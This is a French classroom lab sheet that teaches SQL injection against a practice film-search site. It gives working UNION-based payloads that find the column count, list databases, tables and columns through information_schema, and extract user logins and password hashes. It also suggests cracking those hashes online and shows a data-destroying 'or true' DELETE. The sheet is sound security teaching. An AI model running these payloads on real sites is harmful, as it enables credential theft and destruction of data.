Ce TP et le mini-site associé permettent de montrer le fonctionnement de l'injection SQL.
À partir d'une page qui affiche des films, nous allons cracker les mots de passe des utilisateurs du site.
Les conditions à réunir pour pouvoir réaliser l'injection SQL qui permet de lire n'importe quelles données dans les tables :
Il y a aussi d'autres possibilités que de lire toutes les données des tables. On peut par exemple faire de la destruction sauvage de données. Par exemple, si on remplace :
DELETE FROM user WHERE id = 1 ;
Par :
DELETE FROM user WHERE id = 1 or true ;
Allez sur le mini-site de test allosql.bts-sio.com. Ce site permet de rechercher, à partir d'un extrait du titre, une liste de films parmi les 84 000 contenus dans la base.
Testez le site en cherchant par exemple alien ou ce que vous voulez dans la zone de recherche.
Si le développeur n'a pas utilisé l'échappement de caractères, on va pouvoir pirater son site.
Pour vérifier s'il ne l'a pas utilisé, on doit obtenir une erreur lorsqu'on fait une recherche qui contient soit un guillemet double, soit un guillemet simple.
Essayez ces deux recherches contenant des guillemets. Obtenez-vous une erreur ? Laquelle ?
Avec le guillemet double ou le simple ? (C'est important : cela vous indique le délimiteur de chaines de caractères utilisé par le développeur).
Ce boulet de développeur a-t-il réaffiché la requête SQL en même temps que l'erreur ? Ça nous aiderai à construire plus rapidement nos injections de piratage, bien que ça ne soit pas indispensable...
Il nous donne donc une indication précieuse : le nom de la table. Quel est-il ?
Cette erreur de guillemets nous indique que le gros boulet de débutant de développeur qui a fait ce site a oublié d'utiliser real_escape_string, on va donc pouvoir jouer un peu.
La requête que vous avez vu s'afficher est (en surligné jaune, ce que vous avez saisi dans la recherche) :
select * from film where titre like '%'%' limit 0,20
Comprenez bien l'importance des couleurs dans ce TP, qui vous permet de différencier la requête d'origine
et la partie injectée
:
gris
est la partie en dur de la requête, dans le code PHP, et vous ne pourrez pas la modifier.
jaune
est la partie que vous rajoutez dans le champ "Rechercher un film", c'est votre injection SQL.
Remarquez également le commentaire en SQL : --
. Oui, c'est bien tiret tiret espace, si vous oubliez l'espace vous aurez des erreurs de syntaxe. C'est un commentaire mono-ligne (comme // dans les autres langages) et pas multi-lignes comme /* */.
Il nous faut impérativement trouver le nombre de champs renvoyés par la requête du développeur ! Pour déterminer le nombre de champs, vous allez successivement exécuter ces requêtes (grâce à l'injection SQL), jusqu'à ne plus obtenir d'erreur (deux SELECT réunis par un UNION doivent renvoyer le même nombre de champs) :
select * from film where titre like '%' union select 1 -- %' limit 0,20
select * from film where titre like '%' union select 1,2 -- %' limit 0,20
select * from film where titre like '%' union select 1,2,3 -- %' limit 0,20
select * from film where titre like '%' union select 1,2,3,4 -- %' limit 0,20
select * from film where titre like '%' union select 1,2,3,4,5 -- %' limit 0,20
...
Le deuxième SELECT, avec lequel nous allons jouer, devra toujours renvoyer ce nombre de champs, sous peine de réobtenir l'erreur "The used SELECT statements have a different number of columns".
Vous remarquez que la recherche nous affiche tous les films, ça n'est pas pratique pour observer les résultats de notre injection, qui se trouvent dans les derniers enregistrements du jeu d'enregistrement renvoyé par la requête.
Pour palier à ce problème, essayez donc la requête suivante :
select * from film where titre like '%xyz'
union select 1,2,3,4 -- %'
Dans la suite du TP nous garderons toujours ce xyz'
qui permet de ne pas être gêné pas la liste des films.
Le résultat du deuxième SELECT étant maintenant plus lisible, dites quels sont les champs qui s'affichent à l'écran (est-ce que le 1 s'affiche ? Est-ce que le 2 s'affiche ? Etc.) (par la suite, il sera inutile d'essayer d'afficher des résultats d'injection dans les champs qui ne s'affichent pas).
Grâce à la BDD interne à MySQL information_schema, accessible par tous les utilisateurs, nous allons trouver le nom de la base de données utilisée dans ce site Web.
Grâce à l'injection SQL, exécutez la requête qui vous permet de connaitre toutes les BDD qui contiennent une table film :
select * from film where titre like '%xyz'
union select null,table_schema,table_name,null
from information_schema.tables
where table_name='film' -- %' limit 0,20
Bien que la requête puisse vous avoir envoyé plusieurs résultats (toutes les BDD qui contiennent une table film), soyez déductifs et notez ici le nom de la BDD qui nous intéresse :
Avec un principe très proche de la requête précédente, nous allons trouver toutes les tables contenues dans cette base de données. Exécutez la requête :
select * from film where titre like '%xyz'
union select 1,table_schema,table_name,4
from information_schema.tables
where table_schema='spastore_sqlinjection' -- %' limit 0,20
Cette base de données information_schema nous est décidément très utile ! Dans sa table COLUMNS, trouvez la liste des champs de la table user :
select * from film where titre like '%xyz'
union SELECT null, TABLE_NAME, COLUMN_NAME, ORDINAL_POSITION
FROM information_schema.COLUMNS
WHERE table_schema = 'spastore_sqlinjection' AND table_name = 'user'-- %' limit 0,20
À vous de jouer : essayez de construire l'injection SQL (qui va beaucoup ressembler aux requêtes montrées ci-dessus) qui va vous donner les identifiants des utilisateurs (login, mots de passe).
Notez ici l'injection (ou la requête complète) que vous avez utilisé :
Notez les login et mots de passe des utilisateurs que vous avez trouvé :
Quel est le cryptage utilisé (ça n'est pas indispensable pour la suite) ? Un bon pirate arrive à reconnaitre un cryptage selon sa taille et les types de caractères qu'il contient. Éventuellement chercher un peu sur Internet.
Il ne reste plus qu'à aller sur un site de crackage de mots de passe, par exemple crackstation.net, et lui donner les hash qu'on a réussi à pirater.
Allez sur crackstation.net, terminez le piratage puis notez ici chaque utilisateur et son mot de passe en clair :